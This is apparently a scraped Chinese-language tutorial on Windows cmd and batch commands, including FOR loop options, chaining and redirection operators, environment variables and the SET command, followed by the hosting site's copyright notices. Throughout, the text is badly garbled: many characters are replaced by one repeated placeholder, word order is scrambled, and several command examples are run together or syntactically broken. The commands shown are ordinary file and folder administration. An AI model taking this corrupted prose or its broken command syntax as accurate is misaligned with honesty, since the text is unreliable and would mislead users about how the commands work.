? 命令包含或者是具有处先处的界定符~比如for命令要用到处个()~我处处可以在if~echo等命令中处到的它 身影。 ? 在set /a中表示表式分处。达 " " ? 界定符~在表示处有空格的路处常要用径""来将径来路括起~在一些命令里面也需要" "符。号? 在for/f中表示处包将它内当含的容作字符串分析。 ? 在for/f "usebackq"表示处包它内当径并内含的容作文件路分析其文件的容。? 在其情下表示其中的容是一完它况内个整的字符串~其中的>、>>、<、&、|、空格等不再处处。` ` ? 在for/f中表示处所包它内当并它含的容作命令行处行分析的处出。% % ? 使用处处的两个独%包含一字符串表示引用以此串处名的处境处量。比如一个个%time%可以处展到前的系当处处处。 [ ] ? 在助文表示其中的处处、处处或是可处的。帮档参数 ? 在findstr /r中表示按其中指定的字符集匹配。 1,本人是文盲~以上容文字内均不处处2,此事本人无处系 只处处处分与3,此留言处处制~不代表本人处点4,此明最处解处处处本人所有 声 回处 引用 处处 处端 nulnul 处处: 宝藏博士生 处帖3340金处50威望0股份 77好处度34交易处信度0 • 处注 Ta • 处消息 只看处作者 3 处表于: 2009-08-22 for教程 以前常处得DOS的命令行功能太弱~无法象UNIX一处可以用命令行完成非常处处的操作.处处上~当MS从WIN2K处始命令行将当增强后~已处借处了相多UNIX的处点~处然处无法做到象UNIX那处灵活~但已可完成处大多的任处~比如用数&&和  处接命令~由前一的返回处定下一是否处行两个个来决个.而在处些增强中~最明处的~就是FOR命令. 处例子~用个当参数适的~可用FOR命令将date /t的处出从"Sat 07/13/2002"处成你想要的格式~比如~"2002-07-13", c:\>for /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b 2002-07-13 处例在;将3,中处处处明. 0. 基本处用 处处处~FOR是循处~可以用指定的循处个你范处生成一系列命令.最处处的例子~就是人工指定循处范处,然后处每个处处行指定的命令.例如~想快速处告每硬处分的个区剩余空处: for %a in (c: d: e: f do @dir %a\   find "bytes free" 将处出, 8 Dir(s) 1,361,334,272 bytes free 15 Dir(s) 8,505,581,568 bytes free 12 Dir(s) 12,975,149,056 bytes free 7 Dir(s) 11,658,854,400 bytes free 用可以使一些不支持通配符的命令处一系列文件处行操作它.在WIN9X中~TYPE命令是不支持*.txt处处格式的;WIN2K处始TYPE已支持通配,.遇到处似情就可以用况FOR, for %a in (*.txt) do type %a 处些处不是FOR最强大的功能.我处处最它强大的功能~表处在以下处些高处处用, 1. 可以用 /r 参数个遍处整目处处 2. 可以用 /f 参数将内文本文件容作处循处范处 3. 可以用 /f 参数将某一命令处行处果作处循处范处 4. 可以用 %~ 操作符文件名分成文件名、处展名、处符等立部分将离独 处分处处例处明如下, 1. 用 /r 遍处目处处 当用*.*或*.txt等文件名通配符作处for /r的循处范处处~可以处前目处下所有文件处行操作当.处例子~个你当想在前目处的所有txt文件容中处内找"bluebear"字处~但由于find本身不能遍处子目处~所以我处用for:for /r . %a in (*.txt) do @find "bluebear" %afind 前面的 @ 只是处处出处果不包括 find 命令本身.处是DOS很早就有的功能.和FOR无处.当用 . 作处循处范处处~for 只子目处的处;目处名,作处循处将构范处~而不包括里面的文件.有点象 TREE 命令~不处处重点不同.TREE 的重点是用很漂亮易处的格式处出~而FOR的处出适合一些自处任处~例如~我处都知道用CVS管理的处目中~每子目处下都有一个会个CVS目处~有处在处件处行处我处想把处些CVS目处全部去掉,for /r . %a in (.) do @if exist %a\CVS rd /s /q %a\CVS先用if exist判一下~是因处断for只是机械的处每目处处行列处~如果有些目处下面有个没CVS也被处行到会.用 if exist 判一下比处断安全. 处处处除命令威力太大~处小心使用.最好是在真将正处行以上的处除命令前~ rd /s /q 处成 @echo 先列出要处出的目处~处无处后再处回确rd /s /q, for /r . %a in (.) do @if exist %a\CVS @echo %a\CVS可能目处中多出一处 会"."~比如 c:\proj\release\.\CVS~但不影命令的处行效果会响.2. 将内某一文件容或命令处行处果作处循处范处, 假如有一文件你个todel.txt~里面是所有要处除的文件列表~处在你将个想里面列出的每文件都处掉.假处处个文件是每文件名个占一行~象处处, c:\temp\a1.txt c:\temp\a2.txt c:\temp\subdir\b3.txt c:\temp\subdir\b4.txt 那处可以用FOR来完成, for /f %a in (todel.txt) do del %a 处命令处可以更个强大.比如的 你todel.txt 并不是象上面例子那处干处~而是由DIR直接生成~有一些用的没信息~比如处处, Volume in drive D is DATA Volume Serial Number is C47C-9908 Directory of D:\tmp 09/26/2001 12:50 PM 18,426 alg0925.txt12/02/2001 04:29 AM 795 bsample.txt 04/11/2002 04:18 AM 2,043 invitation.txt 4 File(s) 25,651 bytes 0 Dir(s) 4,060,700,672 bytes free for 仍然可以解出其中的文件名处行操作,并 for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a DEL %a 当个你哪将然~上面处命令是在处行处除~如果只是想看看些文件被操作~把DEL处成echo:for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a echo %a 你将看到, alg0925.txt bsample.txt invitation.txt skip=5表示跳处前5行;就是DIR处出的处部信息,~tokens=5表示每行的第将5列作处循处处放入%a~正好是文件名.在处里我加了一文件存在判~是因处最后一行的个断"free"处好也是第5列~目前处想不出好的处法来处掉最后行~所以处处一下可保两万无一失. 3. 可以用 /f 参数将某一命令处行处果作处循处范处 非常有用的功能.比如~我处想知道目前的处境处量有些名字;我处只要名字~不要处,哪.可是SET命令的处出是“名字=处”的格式~处在可以用FOR来只取得名字部分, FOR /F "delims==" %i IN ('set') DO @echo %i将看到, ALLUSERSPROFILE APPDATA CLASSPATH CommonProgramFiles COMPUTERNAME ComSpec dircmd HOMEDRIVE ...... 处里是将set命令处行的处果拿来作处循处范处.delims==表示用=作处分隔符~由于FOR /F默处是用每行第一个TOKEN~所以可以分出处量名离.如果是想处列出处, FOR /F "delims== tokens=2" %i IN ('set') DO @echo %itokens=2和前例相同~表示第二列;由将=作处分隔符,作处循处处. 再更有用的例子,来个 我处知道 date /t ;/t表示不要处处用处处入,的处出是象处处的, Sat 07/13/2002 处在我想分出离日期部分~也就是13, for /f "tokens=3 delims=/ " %a in ('date /t') do @echo %a 处处上把 tokens后面处成1,2,3或4~分处得到你将Sat, 07, 13和2002.注意delims=/后面处有空格~表示个/ 和空格都是分隔符.由于处空格个delims必处是/f处处的最后一处. 再灵将活一点~象本文处处提到的~日期用2002-07-13的格式处出,for /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b 当tokens后多处处~分处跟个将映射到%a, %b, %c等.处处上指定的处量有处~如果指定的是 跟你你%i, 它处就 会用%i, %j, %k等. 灵几没活处用处一点~乎有做不了的事. 4. 可以用 %~ 操作符文件名分成文件名、处展名、处符等立部分将离独 处比处处处~就是处循处处量的处自处分成只要文件名~只要处展名~或只要处符等等个将离.例,要 将c:\mp3下所有mp3的歌名列出~如果用一般的 dir /b/s或 for /r~是处处,将会g:\mp3\Archived\05-18-01-A\游处明-下沙\游处明-01 下沙.mp3 g:\mp3\Archived\05-18-01-A\游处明-下沙\游处明-02 21个人.mp3...... g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-阿修处.mp3 g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-彼岸花.mp3 g:\mp3\Archived\05-18-01-A\王菲-寓言\王菲-不处我的我不处.mp3...... 如果我只要歌名;不要路和径".mp3",, 游处明-01 下沙 游处明-02 21个人 ...... 王菲-阿修处 王菲-彼岸花 王菲-不处我的我不处 ...... 那处可以用FOR命令, for /r g:\mp3 %a in (*.mp3) do @echo %~na 凡是 %~ 处处的操作符~都是文件名的分操作离.具处看 体for /? 帮助. 本文处的例子有些可能有处处用处~或可用其处法完成没它.处用于处体FOR可以不借助其工具~处用它DOS命令处合~就可完成相当灵活的任处. 1,本人是文盲~以上容文字内均不处处2,此事本人无处系 只处处处分与3,此留言处处制~不代表本人处点4,此明最处解处处处本人所有 声 回处 引用 处处 处端 nulnul 只看处作者 4 处表于: 2009-08-22 批处理字符处处: 宝藏博士生 处帖使用多命令和件处理符个条号3340金处50使用件处理符可以处命令行或条号从个运个条号运个脚本行多命令。通处件处理符行多威望0命令处~件处理符条号条号来右处的命令根据件处理符左处的命令处果处处作用。例如~只股份77有在前一命令失处的情下~个况运个个才可能需要行一新命令。或者~只有在前一好处度34交易处信度命令成功处才可能需要行一运个新命令。0 • 处注 Ta 可以使用下表列出的特殊字符处处多命令。来个• 处消息 字符 处法 定处 & [...] command1 & command2 用分隔一命令行中的多命令。来个个Cmd.exe 运个运个行第一命令~然后行第二命令。 && [...] command1 && command2 只有在符 号&& 前面的命令成功处~才用于 运号行处符后面的命令。Cmd.exe 运个个运行第一命令~然后只有在第一命令行成 功处才运个行第二命令。 || [...] command1 || command2 只有在符 号|| 前面的命令失处处~才用于行符运 号 || 后面的命令。Cmd.exe 运个个运行第一命令~然后只有在第一命令未能行成 功;接收到大于零的处处代处,处才运个行第二命令。 ( ) [...] (command1 & command2) 用分处或来个嵌套多命令。 ; 或者 ~ command1 parameter1;parameter2 用分隔命令。来参数 注意 “与号”符 (&)、管道符 号(|) 以及括 号() 是特殊字符~处作处处处处~必处将它参数 在其前面加上处处字符 (^) 或引。 号 如果某命令成功完成操作~处处命令就返回个零 (0) 退出代处或不返回任何退出代处。 有处退出代处的处处信息~处处 参Microsoft Windows Resource Kit。 嵌套命令行解处器 通处在命令提示符打处 Cmd.exe 新的处例~可以在 Cmd.exe 内嵌套命令行解处器。 默处情下~况Cmd.exe 的每处例处个承其父 Cmd.exe 处用程序的处境。通处嵌套 Cmd.exe 的处例~可以更改本地处境~而不影 会响Cmd.exe 的父处用程序。处使能您处保留 Cmd.exe 的原始处境~在处止并嵌套的命令行解处器之后返回到原始处境。但是在嵌套的命令行解处器中所作的更改将会不被保存。 要嵌套命令行解处器~处在命令提示符下处入, cmd 处示处似于下面容的消息,内 Microsoft (R) Windows XP (TM) (C) Copyright 1985-2001 Microsoft Corp. 要处处嵌套的命令行解处器~处处入 exit。 使用 setlocal 和 endlocal 命令~甚至可以在 Cmd.exe 的处例中;或在脚本中,处一步更将改本地化。Setlocal 处建本地作用范处~而 endlocal 处止本地作用范处。在 setlocal 和 endlocal 作用范处所作的更内将会弃从改被放~而保持未更改的原始处境。可以处处处命令将两个嵌套到最高 32 处。有处 setlocal 和 endlocal 命令的处处信息~处参处 Setlocal 和 Endlocal。 将与处境处量 Cmd.exe 一起使用 Cmd.exe 命令行解处器处境由定命令行解处确器和操作系处的行处的处量处行定处。可以使用处处两来个型的处境处量;系处和本地,定处命令行解处器处境或整操作系处处境的行处。系处处境处量定处全局操作系处处境的行处。本地处境处量定处 Cmd.exe 当前处例的处境的行处。系处处境处量存在于操作系处之中~可用于所有 并Windows XP 处程。只有具有管理特处的用处才可以更改系处处量。处些处量最常用于登处脚本。 只有在处其处建了本地处境处量的用处登处到处算机处~处些本地处境处量才有效。HKEY_CURRENT_USER 配置处元 中处置的本地处量只处前用处有效~但处可定处当它 全局操作系处处境的行处。 下表按降序处序描述各处处型的处量, 1. 内置系处处量 2. 在 HKEY_LOCAL_MACHINE 配置处元中到的系处处量 找 3. 在 HKEY_CURRENT_USER 配置处元中到的找局部处量 4. 在 Autoexec.bat 文件中处置的所有处境处量和路 径 5. 在登处脚本;如果有的处,中处置的所有处境处量 6. 在脚本和批处理文件中交互使用的处量 在命令行解处器中~Cmd.exe 的每处例都处个承其父处用程序的处境。因此~可以在不影响况父处用程序处境的情下更改新的 Cmd.exe 处境中的处量。 下表列出 Windows XP 的系处和局部处境处量。 处量 处型 处明 %ALLUSERSPROFILE% 局部 返回所有“用处配置文件”的位置。%APPDATA% 局部 返回默处情下处用程序存处据的位置。况数 %CD% 局部 返回前目处字符串。当 %CMDCMDLINE% 局部 返回用处处前的 来启当Cmd.exe 的准命令行。确%CMDEXTVERSION% 系处 返回前的“命令处理程序处展”的版本。当号 %COMPUTERNAME% 系处 返回处算机的名。称 %COMSPEC% 系处 返回命令行解处器可处行程序的准路。确径 %DATE% 系处 返回前当与日期。使用 date /t 命令相同的格式。由 Cmd.exe 生成。有处 date 命令的处处信息~处处 参Date。%ERRORLEVEL% 系处 返回最近使用处的命令的处处代处。通常用非零处表示处处。 %HOMEDRIVE% 系处 返回处接到用处主目处的本地工作站处处器号。基于主目处处的处置。用处主目处是在“本地用处和处”中指定的。 %HOMEPATH% 系处 返回用处主目处的完整路。径基于主目处处的处置。用处主目处是在“本地用处和处”中指定的。 %HOMESHARE% 系处 返回用处的共享主目处的处路。网径基于主目处处的处置。用处主目处是在“本地用处和处”中指定的。 %LOGONSEVER% 局部 返回处处前当会称登处处的域控制器的名。%NUMBER_OF_PROCESSORS% 系处 指定安装数在处算机上的处理器的目。%OS% 系处 返回操作系处的名。称Windows 2000 将操作系处处示处 Windows_NT。 %PATH% 系处 指定可处行文件的搜索路。径 %PATHEXT% 系处 返回操作系处处处可处行的文件处展名的列表。%PROCESSOR_ARCHITECTURE% 系处 返回处理器的芯片体构系处。处: x86~IA64。%PROCESSOR_IDENTFIER% 系处 返回处理器处明。%PROCESSOR_LEVEL% 系处 返回处算机上安装号的处理器的型。%PROCESSOR_LEVEL% 系处 返回处理器的版本。号 %PROMPT% 局部 返回前解处程序的命令提示符处置。由 当Cmd.exe 生成。 %RANDOM% 系处 返回 0 到 32767 之处的任意十处制数字。由 Cmd.exe 生成。 %SYSTEMDRIVE% 系处 返回包含 Windows XP 根目处;系处根目处,的处处即 器。 %SYSTEMROOT% 系处 返回 Windows XP 根目处的位置。 %TEMP% and %TMP% 系处和用处 返回处前当登处用处可用的处用程序所使用的默处处处目处。有些处用程序需要 TEMP~而其处用程序处需要 它TMP。 %TIME% 系处 返回前处处。使用 当与time /t 命令相同的格式。由 Cmd.exe 生成。有处 time 命令的处处信息~处处 参Time。%USERDOMAIN% 局部 返回包含用处处处的域的名。称 %USERNAME% 局部 返回前当称登处的用处的名。 %UserPrefix% 局部 返回前用处的配置文件的位置。当 %WINDIR% 系处 返回操作系处目处的位置。 处置处境处量 使用 set 命令处建、更改、处除或处示处境处量。set 命令只更改当前解处器处境中的处量。要处看处量~处在命令提示符下处入, set all 要添加处量~处在命令提示符下处入, set variablename=value 要处除处量~处在命令提示符下处入, set [no]d2 可以大多字符用作处量处~其中包括空格。如果使用特殊字符 将数<、>、|、& 或 ^~处必处在处前面加上处处字符 它(^) 或引。如果使用引~处必处引作处处的处成部分号号将号~因处等后面的任何容都被处处处。处考处下列号内会范例, ? 要处建处量处 new&name~处处入, set varname=new^&name ? 要处建处量处 "new&name"~处处入, set varname="new&name" ? 如果在命令提示符下处入 set varname=new&name~就出处下面容处会与内似的处处消息, "'name' is not recognized as an internal or external command, operable program or batch file." 处量名不分大小。但是~区写set 处示的处量处入的完与您全相同。可以在处量名中处合使用大字母和小字母~处处可以使代处更具有可处写写性;例如~ UserName,。注意 ? 最大处处境处量大小处 个8192 字处。 ? 所有处量的最大处境处量的处和大小;包括处量名和等,处 号65,536 KB。 使用命令重定向操作符 (Redirection Operators)可以使用重定向操作符命令处入和处出据将数从流默处位置重定向到不同的位置。处入或处出据数即流的位置处句柄。 下表列出了可用于命令处入和处出据将数流处行重定向的操作符。 重定向操作符 处明 > 将写写窗命令处出入到文件或处处;例如打印机,中~而不是在命令提示符口中。< 从从文件中而不是处处中处入命令处入。 >> 将命令处出添加到文件末尾而不处除文件中的信息。 >& 将个写另个一句柄的处出入到一句柄的处入中。 <& 从个并将写另个一句柄处取处入其入到一句柄处出中。 | 从个并将写另个称一命令中处取处出其入一命令的处入中。也作管道。 默处情下~可以处处命令处入;处 况从将即STDIN 句柄,处送到 Cmd.exe~然后由 Cmd.exe 将即命令处出; STDOUT 句柄,处送到命令提示符窗口。下表列出可用的句将柄。 句柄 句柄的字代数号 处明 STDIN 0 处处处入 STDOUT 1 处出到命令提示符窗口 STDERR 2 处处处出到命令提示符窗口 UNDEFINED 3-9 处些句柄由处用程序和各个体独具工具处定处。 数字 0 到 9 代表前 10 个句柄。可以使用命令 Cmd.exe 运并将行程序前 10 个句柄中的任何一重定向到处程序。要指定个想使用的句柄~可在重定向操作符前面处入处句柄的字。如果未定处句数柄~处默处的 < 重定向处入操作符是 0~而默处的 > 重定向处出操作符是 1。处入 > 或 < 操作符之后~必处指定要处取或入据的位置。可写数 以指定文件名或一处有的句另个柄。 要指定重定向到处有句柄~处使用 与(&) 字符~后面接要重定向的句柄号;例如 &句柄#,。例如~下面的命令可以句将柄 2; 即STDERR,重定向到句柄 1;即 STDOUT,, 1<&2 处制句柄 重定向操作符 & 可以处出或处入一句将从个另个将柄处制到一指定的句柄。例如~要 dir 处出处送到 File.txt 并将处处处出处送到 File.txt~处处入, dir>c:\file.txt 2>&1 处制句柄处~可以处制处句柄原状个属处的所有特性。例如~如果一句柄具有只处处处的性~处处句柄的所有副本都具有只处处处属将个属另个性。不能一具有只处处处性的句柄处制处一具有只处处处写属性的句柄。 重定向命令处出 (<) 要处处或处处重定向命令处出~处使用 从< 操作符。例如~要 从File.txt 得到 sort 命令的命令处入~处处入, sort 的默处句柄。 重定向命令处出 (>) 几将窗即将乎所有的命令都处出处送到命令提示符口。使处出处送到处处器或打印机的命令也在命令提示符会窗口处示消息和提示。 要命令处出命令提示符将从窗口重定向到文件或处处~处使用 > 操作符。可以在处多命令中使用处操作符。例如~要 将dir 处出重定向到 Dirlist.txt~处处入, dir>dirlist.txt 如果 Dirlist.txt 不存在~Cmd.exe 将处建处文件。如果 Dirlist.txt 存在~Cmd.exe 将使用 dir 命令的处出替处文件中的信息。 要行 运netsh routing dump 命令~然后命令处出处将送到 Route.cfg,处处入,netsh routing dump>c:\route.cfg> 操作符可以打处具有只处处处写属性的指定文件。所以~不能使用处操作符处取文件。例如~如果使用重定向 >&0 启写处程序~处所有处处入句柄 1 的操作都失处~因处句将柄 0 最初是以只处处处大处的。 注意 ? 1 是 > 重定向处出操作符的默处句柄。 使用 <& 操作符重定向处入和处制 要使用重定向处入操作符 <&~指定的文件必处已处存在。如果处入文件存在~Cmd.exe 将将从以只处方式打处处文件~然后文件中作处处入的字符处送到此命令;如同处处处入一处,。如果指定了句柄~Cmd.exe 将指定的句柄处制到系处处有的句柄中。例如~要以句柄 0 处入处取; 即STDIN,的方式打处 File.txt~处处入,search.txt 2<&1要以句柄 0 处入处取; 即STDIN,的方式处制用处定处句柄 3~处处入,<&3 使用 >& 操作符重定向处出和处制 如果处出重定向到文件且指定了处有的文件名~将Cmd.exe 将写并以只方式打处文件覆盖处文件容。如果指定了句内柄~Cmd.exe 将文件处制到处有句柄中。要用处定处句将柄 3 处制到句柄 1~处处入, >&3 要包括句将柄 2; 即STDERR,的所有处出 从ipconfig 命令重定向到句柄 1;即 STDOUT,~然后处出重定向到 将Output.log~处处入, ipconfig.exe>>output.log 2>&1使用 >> 重定向操作符追加处出 要命令中处出从将两个添加到文件末尾而不处失文件中已存在的任何信息~处使用处处的大于; 号即>>,。例如~下面的命令可以由 将dir 命令生成的目处列表追加到 Dirlist.txt 文件, dir>>dirlist.txt 要 将netstat 命令的处出追加到 Tcpinfo.txt 的末尾~处处入, netstat>>tcpinfo.txt 使用管道操作符 (|) 管道操作符 (|) 可以提取一命令的处出;默处情下是 个况STDOUT,~然后其处入将另个况一命令的处入中;默处情下是 STDIN,。例如~下面的命令处目处分处,将dir | sort 在本例中~同处处命令~但处后 将启两个随sort 命令处停~直到接会它收到 dir 命令的处出处止。sort 命令使用 dir 命令的处出作处处入~然后处出处将送到句柄 1;即 STDOUT,。 合处重定向操作符的命令并 可以通处合处有其命令和文件名的处处并它器命令处建自定处命令。例如~可以使用以下命令存处包含“LOG”字符串的文件名: dir /b | find "LOG" > loglist.txt dir 命令的处出通处 find 处处器命令处送。包含字符串 "LOG" 的文件名作处文件名列表;例如~NetshConfig.log、Logdat.svd 和 Mylog.bat,存处在文件 Loglist.txt 中。 要在相同命令中使用多处处个器~处使用管道 (|) 分隔处处器。例如~下面的命令将搜索 C 处上的每目处以处包个找含 "LOG" 字符串的文件名~且在命令提示符并窗口中每次处示一,屏 dir c:\ /s /b | find "LOG" | more 利用管道 (|) 可以 将Cmd.exe 处向处通处 find 处处器命令处送 dir 命令处出。find 命令只处处包含字符串 "LOG" 的文件名。more 命令可以处示由 find 命令处处的文件名;在命令提示符窗屏口中每次处示一,。有处处处器命令的处处信息 使用处处器 与命令重新定向管道符 (|) 处合使用~命令处处器是处处一命令~处命令包个含在可处取命令的处入、可处处处入入处出的命令里。处处并写帮您器命令可以助排序、处看和处处部分命令处出。 处处器命令可以分、重排以及提取通处的部分信息操作。下表列出 划Windows XP 中可用的处处器命令。 命令 处明 more 在一命令提示符个窗个内个口中每次处示一文件的容或一命令的处出。 find 在文件和命令处出中搜索所指定的字符。您 sort 按字母处序排列文件和命令处出。 要处入文件处将从号送到处处器命令~处使用小于 (<)。如果要使处处器命令其命令处从它得处入~处使用管道 (|)。 使用 more 命令 more 命令在一命令提示符个窗个内个口中每次处示一文件的容或一命令的处出。例如~要在一命令提示个窗个口中每次处示一名处 List.txt 的文件的容~处处入, 内 more < list.txt 出处一包个窗窗含信息的命令提示符口~然后在命令提示符口底部出处 -- More -- 提示。要处处前处到下一命令提示符个窗口~处在处处上按任意处;除 PAUSE 之外,。要停止命令且不处看处处信息~处按 CTRL+C 处。 使用处生多处出命令提示符个窗口的命令处~可以使用 more 命令。例如~假定要处看硬处上的目处处。如果命令提示符窗将屏内来口不能目处在一全部处示出~处使用处管道 (|) 和 more 命令的 tree 命令~如下例所示, tree c:\ | more 出处由 tree 命令处生的第一处出命令提示符个窗跟口~后面着 -- More -- 提示。处出处停~直到用处按处处上的任意处处止;PAUSE 处除外,。 使用 find 命令 find 命令在文件中搜索指定的字符串或文字。Cmd.exe 处示在命令提示符与窗口中指定的字符串或文字相匹配的所有行。可以把 find 命令用作处处器命令~也可以用作处准的 Windows XP 命令。有处如何 将find 用作处准命令的处处信息~处处 参Find。要 将find 命令用作处处器命令~必处小于 将号(<) 和要搜索的字符串或文本包括在内。默处情下~况find 搜索分大小。例如~下面的命令处文件 将区写找Trade.txt 中所有的“Pacific Rim”字符串, find "Pacific Rim" < trade.txt 处出不包括出处“pacific rim”的任何字符串。处出只包括所有首字母大的“写Pacific Rim”字符串。 要保存 find 命令的处出而不是在命令提示符窗号口处示处出~处处入大于 (>) 和要存处处出的文件的名。例如~下面的命令处文件 称找Trade.txt 中存在的“Pacific Rim”字符串~处果保存在 并将Nwtrade.txt 文件中, find "Pacific Rim" < trade.txt > nwtrade.txt 使用 sort 命令 sort 命令按字母处序排列文本文件或命令的处出。例如~下列命令处名处 List.txt 的文件的容处行排序~在命令提示符内并窗口中处示排序处果, sort < list.txt 在此范例中~sort 命令处 List.txt 文件的行按字母列表处行排序处示处果~但不更并改文件。要保存 sort 命令的处出而不是处示处出~处处入大于 号(>) 和文件名。例如~以下命令处 List.txt 文件的行按字母处序排序~处果存处到 并将Alphlist.txt 文件中, sort < list.txt > alphlist.txt 要处命令处出处行排序~处处入处命令~处入管道 (|)~然后处入 sort;~即command | sort,。例如~下列命令处包括字符串“Jones”;~即find 命令处出,的行按字母处序处行排序, find "Jones" maillst.txt | sort Set 处示、处置或处除处境处量。如果有任何~没参数set 命令处示前处境处置。将当 处法 set [[/a [expression]] [/p [variable=]] string] 参数 /a 将 string 处置成可求处的字表式。 数达 /p 将 variable 的处处置成处入行。 variable 指定需要处置或修改的处量。 string 指定要指定处量处处的字符串。 与 /? 在命令提示符处示助。 帮 注处 ? 使用“恢处控制台”中的 set set 命令具有不同的~可“参数从恢处控制台”中处得。 ? 使用特殊字符 字符 < > | & ^ 是特殊命令外字符~在字符串中使用处必处位于 壳escape 字符 (^) 之前或用引引起;~号来即"StringContaining&Symbol",。如果要使用引号将含有特殊字符的字符串引起~处处引被处置成处境处量处的一部分。来号将 ? 使用处境处量 使用处境处量可控制某些批处理文件和程序的操作~可并控制 Windows XP 和 MS-DOS 子系处处示和工作的方式。Autoexec.nt 文件中处常使用 set 命令处置处境处量。? 处示前的处境处置 当 当只处入 set 命令处~处示前的处境处置。处些处置通常包将当来帮找含用助处磁处上程序的 COMSPEC 和 PATH 处境处量。Windows XP 使用的其处境处量是两个它 PROMPT 和 DIRCMD。 ? 使用 参数 当将与指定处量和字符串的处处~指定的处量处被添加到处处境~而且处字符串处处量处处。如果处境中已处存在处处量~新的字符串处替代的字符串处。将旧 如果只处 set 命令指定一处量和一等;有字符串,~处处处量处处的字符串处个个号没与将 被清除;就象处量根本不存在一处,。 ? 使用 /a 下表按处先性从高到低的处序列出了支持 /a 的运算符。 运算符 处行的操作 < > 分处 * / % + - 算法 << >> 处处移位 & 按位“和”运算 ^ 按位“或”异运算 | 按位“或”运算 = *= /= %= += -= &= ^= |= <<= >>= 分配 , 表式分隔符达 如果使用处处 (&& ||) 或模 (%) 运号将达来达算符~处使用引表式字符串引起。表式中的非字字符串被处处处境处量名~其处处化成字然后数将将数当才处行处理。如果指定前处境中有定处的处境处量名~分配没将会您运零处~允处处处境处量处行算处算~而不需要使用 % 找回处。 如果命令从运脚本外的命令行中行 set /a~处处示处表式的最处处。会达 数数处是指十处制的字~在前处加 0× 处表示十六处制数字~加 0 处表示八处制数字。因此~0×2 与 18 相同~也 与022 相同~八处制表示法容易引起混淆。例如~08 和 09 不是有效字~因处 数8 和 9 不是有效的八处制数字。 ? 使用 /p 要求有提示字符串。 ? 支持延处的处境处量处展 已处添加延处的处境处量处展支持。默处情下况禁用处支持~不处可使用 cmd /v 处其用或启禁用。 ? 使用命令处展 当启并独运用命令处展;默处,处处处行 set 处~处示所有前的处境处量。如果使用一将当 个来运处处处行 set~处处示处处会与匹配的处量。 ? 在批处理文件中使用 set 处建批处理文件处~可以使用 set 命令处建处量~然后象使用处处量 号%0 到 %9 一处使用处些处量。也可以使用 %0 到 %9 处量作处 set 命令的处入。 ? 从批处理文件处用 set 处量。 从将号批处理文件处用处量处处~必处处处用百分;%,括起。例如~如果批处理程序处建来 了一处境处量 个BAUD~处可以在命令行中处入 %baud%~ 将与BAUD 处处的字符串作处可替处使用。参数 范例 若要处置名处 TEST^1 的处境处量~处处入, set testVar=test^^1 若要处置名处 TEST&1 的处境处量~处处入, set testVar=test^&1 Set 将号处量处处置成等 (=) 后的容。如果处入,内 set testVar="test^1" 将得到如下处果, testVar="test^1" 要处置名处 INCLUDE 的处境处量~使字符串 C:\Inc;处处器 C 上的 \Inc 目处,处处量处与处~处处入, set include=c:\inc 然后可以通处用在名称号百分 (%) 将 INCLUDE 括起~在批处理文件中使用字符串 C:\Inc。例如~可能在批处理文件中包含以下命令~以处示 与INCLUDE 处境处量处处的目处容。内 dir %include% 处理此命令处~字符串 C:\Inc 将替代 %include%。 处可以在批处理程序中使用 set~将新目处添加到 PATH 处境处量中。例如,@echo off rem ADDPATH.BAT adds a new directory rem to the path environment variable. set path=%1;%path% set 当启达并个来运用命令表式;默处,使用一处处处行 set 处~处处示处处会与匹配的处量。例 如~如果在命令提示符处入 set p~得到如下处果,将 Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\WbemPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSHPROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 8 Stepping 1, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0801 ProgramFiles=C:\Program Files PROMPT=$P$G
本文档为【bat常用命令 就是命令提示符 非dos】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
该文档来自用户分享,如有侵权行为请发邮件ishare@vip.sina.com联系网站客服,我们会及时删除。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
下载需要: 免费 已有0 人下载
最新资料
资料动态
专题动态
is_482581
暂无简介~
格式:doc
大小:158KB
软件:Word
页数:83
分类:生活休闲
上传时间:2017-09-20
浏览量:68